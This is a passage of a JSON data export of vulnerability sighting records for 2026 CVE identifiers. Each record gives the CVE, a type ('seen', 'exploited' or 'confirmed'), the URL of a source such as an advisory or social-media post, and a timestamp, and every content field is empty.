"https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3aef8df1-c735-48b8-8dd7-06a3c5c42164", "content": "", "creation_timestamp": "2026-02-06T07:18:58.899711Z"}, {"uuid": "d43d1bdf-4565-4be4-a41c-b5a02ae5db36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24295", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "837d0af0-de7f-4afa-bb1b-868c29b7ab3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24297", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "627c3093-67b8-4b65-81df-a1661ae6fff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ade632ed-df92-486f-80de-4e0f0c7880d1", "content": "", "creation_timestamp": "2026-02-18T06:44:36.747047Z"}, {"uuid": "b918d1b0-35e4-4190-a00d-a8a1326e1cfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24289", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "74092d70-60d3-4b9b-87b0-4d19ff06f952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/LukasCollishawM/ef56756a964ded373553a6f71478bfed", "content": "", "creation_timestamp": "2026-03-29T17:52:55.000000Z"}, {"uuid": "ca67ae93-a38d-40d9-98cb-2540545469c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24159", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtl5merbx2t", "content": "", "creation_timestamp": "2026-03-24T22:00:23.897598Z"}, {"uuid": "f240ad7a-8e51-4a3c-b1f8-8884475380eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24141", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtl5swrys2m", "content": "", "creation_timestamp": "2026-03-24T22:00:30.904946Z"}, {"uuid": "339b8be9-7719-447e-8bf9-14d62719792f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24152", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtl7zq66w2p", "content": "", "creation_timestamp": "2026-03-24T22:01:45.006950Z"}, {"uuid": "9935d146-4c3e-4a0c-8548-1fd00069e12e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24150", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtl5zpwak2m", "content": "", "creation_timestamp": "2026-03-24T22:00:38.672548Z"}, {"uuid": "48638956-9202-4871-a177-59b974e6a66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24484", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:34.167209Z"}, {"uuid": "78410062-9690-4e44-956c-c263ade9e095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24151", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtl7t433a2r", "content": "", "creation_timestamp": "2026-03-24T22:01:37.986316Z"}, {"uuid": "8d7e28cf-9b0d-4a96-a11a-ed67a1ec7c03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24157", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtlaafs4h2t", "content": "", "creation_timestamp": "2026-03-24T22:01:52.049902Z"}, {"uuid": "8eaea2bc-9108-4719-b813-1a0e98f51548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24158", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtladrmcr27", "content": "", "creation_timestamp": "2026-03-24T22:01:55.542198Z"}, {"uuid": "540a1729-e4fa-483c-b6d2-a1295f81c584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24481", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:32.846190Z"}, {"uuid": "118367ce-fc72-4d19-af94-cc3ec93e9b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-08", "content": "", "creation_timestamp": "2026-03-19T11:00:00.000000Z"}, {"uuid": "be0c1ec1-041f-4208-866e-8b531ada76a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24485", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116316841599408182", "content": "", "creation_timestamp": "2026-03-30T07:02:32.776805Z"}, {"uuid": "6543914b-9abb-4520-92c1-36003311d214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi23w6xuzv2i", "content": "", "creation_timestamp": "2026-03-27T12:16:26.695251Z"}, {"uuid": "33d2fe72-dccb-48c5-8f90-8b14eff9b81f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24157", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtlchdzrc2n", "content": "", "creation_timestamp": "2026-03-24T22:03:06.724781Z"}, {"uuid": "b8082bdc-12ba-435a-a6e1-6d66fbc3ab98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-24477.yaml", "content": "", "creation_timestamp": "2026-03-17T06:30:09.000000Z"}, {"uuid": "fd21750a-98f5-47ae-b550-153858daef86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24296", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "be296086-0c34-40c8-a190-27198549b3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24158", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhtlgbyilp2d", "content": "", "creation_timestamp": "2026-03-24T22:05:14.795655Z"}, {"uuid": "2fa29a9b-f94a-4f32-b8c6-38d76af145bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "f1a7f2ee-5807-4c1a-b6ce-fa651f526511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2442", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi4fe6ngr42g", "content": "", "creation_timestamp": "2026-03-28T10:10:39.037683Z"}, {"uuid": "94b4e4de-212c-4abe-85e6-abb047a3fa0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24151", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtljvmjbp2s", "content": "", "creation_timestamp": "2026-03-24T22:07:15.805664Z"}, {"uuid": "89efa8db-e2a1-4a0f-a9e9-532b870c6a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24141", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtlsjgc2l2o", "content": "", "creation_timestamp": "2026-03-24T22:12:07.675259Z"}, {"uuid": "55dced6f-1f11-440b-b506-9cc9af823481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24290", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "7a412207-cc74-4b01-a7fe-3252c1096c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24288", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "daaa7594-c2e6-4b74-8b86-dbc4e12949ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtmcsde5e2n", "content": "", "creation_timestamp": "2026-03-24T22:21:11.449217Z"}, {"uuid": "fd1c073d-312e-4afd-8572-bdefa1d3a845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24780", "type": "seen", "source": "https://bsky.app/profile/toxfox.bsky.social/post/3mhkp5fpehl2u", "content": "", "creation_timestamp": "2026-03-21T09:17:54.129475Z"}, {"uuid": "f2a05dae-aac6-47f3-a0d4-14b263f62dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24159", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtn25ai5f2d", "content": "", "creation_timestamp": "2026-03-24T22:34:14.253697Z"}, {"uuid": "26ebf067-762e-43c2-92b0-a22e41371526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhtnd3pcxn2n", "content": "", "creation_timestamp": "2026-03-24T22:39:14.843099Z"}, {"uuid": "7a86ee42-0ea6-4b40-b49e-448ad44d93cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-gnu-inetutils-telnetd-e-rischi-strutturali-del-protocollo-telnet", "content": "", "creation_timestamp": "2026-03-18T14:06:23.000000Z"}, {"uuid": "e3d0cc75-23ae-44e2-83f4-6320689cb8f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2413", "content": "", "creation_timestamp": "2026-03-11T04:18:01.000000Z"}, {"uuid": "f5f214b3-9a85-40f0-806e-f4f1e55e5e9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24158", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhto5wwomi2q", "content": "", "creation_timestamp": "2026-03-24T22:54:15.542947Z"}, {"uuid": "5c433adf-d5f1-4c6c-9abf-aaf4948ddef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24780", "type": "seen", "source": "https://bsky.app/profile/toxfox.bsky.social/post/3mhkr6ngxvc27", "content": "", "creation_timestamp": "2026-03-21T09:54:22.750834Z"}, {"uuid": "2247f47b-5f65-4d77-8a5e-249b40b16307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24517", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mibeling472k", "content": "", "creation_timestamp": "2026-03-30T09:40:19.574635Z"}, {"uuid": "7d57c65f-3aee-478f-81d6-7120d19c58bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24017", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-prodotti-fortinet-8", "content": "", "creation_timestamp": "2026-03-11T10:50:56.000000Z"}, {"uuid": "7a6cbee1-8c21-43f3-961a-cd814d5de0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24018", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-prodotti-fortinet-8", "content": "", "creation_timestamp": "2026-03-11T10:50:56.000000Z"}, {"uuid": "45c1f218-b592-4920-b8a7-098738d86aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24901", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhbuny7q2e25", "content": "", "creation_timestamp": "2026-03-17T21:02:41.477013Z"}, {"uuid": "ed20a064-cf78-479f-a778-acdb98b35e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24137", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "b71aef5c-5b9b-4d93-8a4f-e15c6c977f2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24062", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhe7z63xju2t", "content": "", "creation_timestamp": "2026-03-18T19:31:07.406187Z"}, {"uuid": "8076f758-6ac4-4e27-879e-2bda02358953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24063", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhe7zerwdv2d", "content": "", "creation_timestamp": "2026-03-18T19:31:14.571286Z"}, {"uuid": "2257df32-8b40-4dcd-a89b-29fa2020dde9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24017", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-fortinet-patched-22-vulnerabilities-multiple-products-patch-immediately", "content": "", "creation_timestamp": "2026-03-11T14:43:25.000000Z"}, {"uuid": "4c079be4-e075-4b4b-b058-bb0f33040175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24458", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mheajdlwww2m", "content": "", "creation_timestamp": "2026-03-18T19:40:09.533946Z"}, {"uuid": "81cfd8f1-6c19-4163-8768-39399b6e5108", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhrckrflii2d", "content": "", "creation_timestamp": "2026-03-24T00:21:21.719775Z"}, {"uuid": "82a5f8d7-a7db-4f3f-9983-fc3905ef8435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhbuolorkt2q", "content": "", "creation_timestamp": "2026-03-17T21:03:03.849688Z"}, {"uuid": "3fa0ec39-b4c3-4425-9908-65336ca8d3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24901", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhbuorqc2u2u", "content": "", "creation_timestamp": "2026-03-17T21:03:08.542664Z"}, {"uuid": "66d4dfa7-5987-47f8-8a41-7a4b5b5561ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24291", "type": "seen", "source": "https://social.tchncs.de/users/gborn/statuses/116260572278544310", "content": "", "creation_timestamp": "2026-03-20T08:32:29.224190Z"}, {"uuid": "a978206e-e540-42f8-a17b-e9cae00e81a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24018", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-fortinet-patched-22-vulnerabilities-multiple-products-patch-immediately", "content": "", "creation_timestamp": "2026-03-11T14:43:25.000000Z"}, {"uuid": "d6700446-2c88-453a-bee9-1e5ae499ba43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2436", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyfnja7ff24", "content": "", "creation_timestamp": "2026-03-26T20:05:13.151125Z"}, {"uuid": "01118924-2919-42fd-a55e-e7c96ced63d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2433", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2433", "content": "", "creation_timestamp": "2026-03-07T07:16:11.000000Z"}, {"uuid": "6c14d631-5275-4d8f-9c26-985f25dc6602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24901", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-24901", "content": "", "creation_timestamp": "2026-03-17T15:16:20.000000Z"}, {"uuid": "3ed9cc9d-61bb-4be3-8d84-d8c49a11391b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24117", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "761cf597-12cf-435c-87e9-cd782b5387a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2420", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2420", "content": "", "creation_timestamp": "2026-03-07T07:16:11.000000Z"}, {"uuid": "e2af17f5-9e3d-44fd-99b2-8bc4148856f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24308", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-24308", "content": "", "creation_timestamp": "2026-03-07T08:16:07.000000Z"}, {"uuid": "0276381e-39ed-46b7-af24-b54429924e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24281", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-24281", "content": "", "creation_timestamp": "2026-03-07T08:16:07.000000Z"}, {"uuid": "7e70197c-0d66-4f97-a5e1-c1e0cfaabc1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24779", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhedumkaze2q", "content": "", "creation_timestamp": "2026-03-18T20:40:10.158090Z"}, {"uuid": "be9e8d10-61f9-4dba-85cf-a9b7e389b9d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "9c0078f9-67ab-49bb-a61f-037969f321f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24448", "type": "seen", "source": "https://jvn.jp/en/vu/JVNVU98103854/", "content": "", "creation_timestamp": "2026-03-11T05:00:00.000000Z"}, {"uuid": "e3e9d35b-8913-4e5f-938a-971f6ea27704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2417", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-083-01", "content": "", "creation_timestamp": "2026-03-24T11:00:00.000000Z"}, {"uuid": "80aa1e95-ef18-4d2f-8a59-2a6352fd43d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116216605634035649", "content": "", "creation_timestamp": "2026-03-12T14:11:13.187934Z"}, {"uuid": "76330a25-7eb2-44aa-8daf-a12b164fbb06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24484", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mguleaemnk2y", "content": "", "creation_timestamp": "2026-03-12T14:11:36.534349Z"}, {"uuid": "760180fe-dcb0-45fa-bc84-55eeeabcffb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mgulgldgek2d", "content": "", "creation_timestamp": "2026-03-12T14:13:02.364934Z"}, {"uuid": "6b33479a-ee43-4b26-bff3-08c6eb1813b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24317", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "d39042f4-22a8-4be8-86e2-e54033da948e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgulkxppx22k", "content": "", "creation_timestamp": "2026-03-12T14:15:20.664319Z"}, {"uuid": "37792476-bf5d-4a9f-a254-2fbaec4849b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24310", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "b52a33e0-f4fc-4437-a406-0f15889fc21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24484", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mguobnkel22y", "content": "", "creation_timestamp": "2026-03-12T15:03:52.050000Z"}, {"uuid": "04bffa18-f34f-4590-b3de-3ade14ff9d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24022", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw44ikxnn2t", "content": "", "creation_timestamp": "2026-01-21T07:03:20.811333Z"}, {"uuid": "0adb7c05-ad4e-476e-8d89-174e50c71134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24024", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw4fhsuhx2j", "content": "", "creation_timestamp": "2026-01-21T07:08:21.828576Z"}, {"uuid": "f0f3dcc3-6284-4fdd-b2ba-a5acaed87a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24026", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw4hbdwht2c", "content": "", "creation_timestamp": "2026-01-21T07:09:22.502938Z"}, {"uuid": "9488e00a-0af1-4ca3-9b38-baf3220e468e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24023", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw4owvmx52c", "content": "", "creation_timestamp": "2026-01-21T07:13:39.934721Z"}, {"uuid": "16abc62c-5d22-4b0f-9abb-e3323589d860", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24021", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw4xve6h323", "content": "", "creation_timestamp": "2026-01-21T07:18:40.268028Z"}, {"uuid": "92f2a3db-2f27-4310-b23b-f96a42277982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 